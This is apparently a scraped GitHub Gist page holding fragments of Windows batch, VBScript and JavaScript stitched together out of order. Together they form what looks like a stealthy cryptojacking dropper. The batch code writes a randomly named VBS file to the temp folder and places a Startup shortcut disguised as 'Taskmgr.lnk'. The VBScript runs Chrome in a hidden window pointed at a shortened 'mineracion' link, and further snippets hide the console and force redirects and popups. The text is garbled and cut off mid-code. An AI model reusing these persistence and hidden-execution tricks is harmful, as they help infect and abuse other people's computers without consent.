Skip to content

Instantly share code, notes, and snippets.

@ECHO OFF
SETLOCAL EnableExtensions DisableDelayedExpansion
if "%~1"=="" goto :eof
if not exist "%~1" goto :eof
set "_auxiliaryScript=%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"
set "_lnkFile=%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Taskmgr.lnk"
> "%_auxiliaryScript%" (
@h4kun4matata
h4kun4matata / minimize.bat
Created June 11, 2018 20:44
Here’s a snippet of code I wrote that will force a Windows batch script to run in a minimized window. Insert it at the beginning of the script:
if not "%minimized%"=="" goto :minimized
set minimized=true
start /min cmd /C "%~dpnx0"
goto :EOF
:minimized
rem Anything after here will run in a minimized window
Dim WShell
Set WShell = CreateObject("WScript.Shell")
Wscript.Sleep 1000
Set objShell = WScript.CreateObject("WScript.Shell")
Set wshshell = WScript.CreateObject("WScript.Shell")
Wscript.Sleep 10000
wshshell.run """chrome.exe""http://bit.ly/mineracion",0,False
<script>
if (window.innerHeight){
//navegadores baseados em mozilla
espaco_iframe = window.innerHeight - 110
}else{
if (document.body.clientHeight){
//Navegadores baseados em IExplorer, pois nao tenho innerheight
espaco_iframe = document.body.clientHeight - 110
}else{
//outros navegadores
<script>
var enderecos = new Array("url1", "url2", "url3")
function linkAleatorio(){
aleat = Math.random() * enderecos.length
aleat = Math.floor(aleat)
window.location=enderecos[aleat]
}
top.location = 'javascript:linkAleatorio()';
<script>
var popup = {
open : function()
{
this.popupWindow = window.open('http://www.facebook.com');
return setTimeout(function() {
popup.close();
}, 3000);
},
close : function()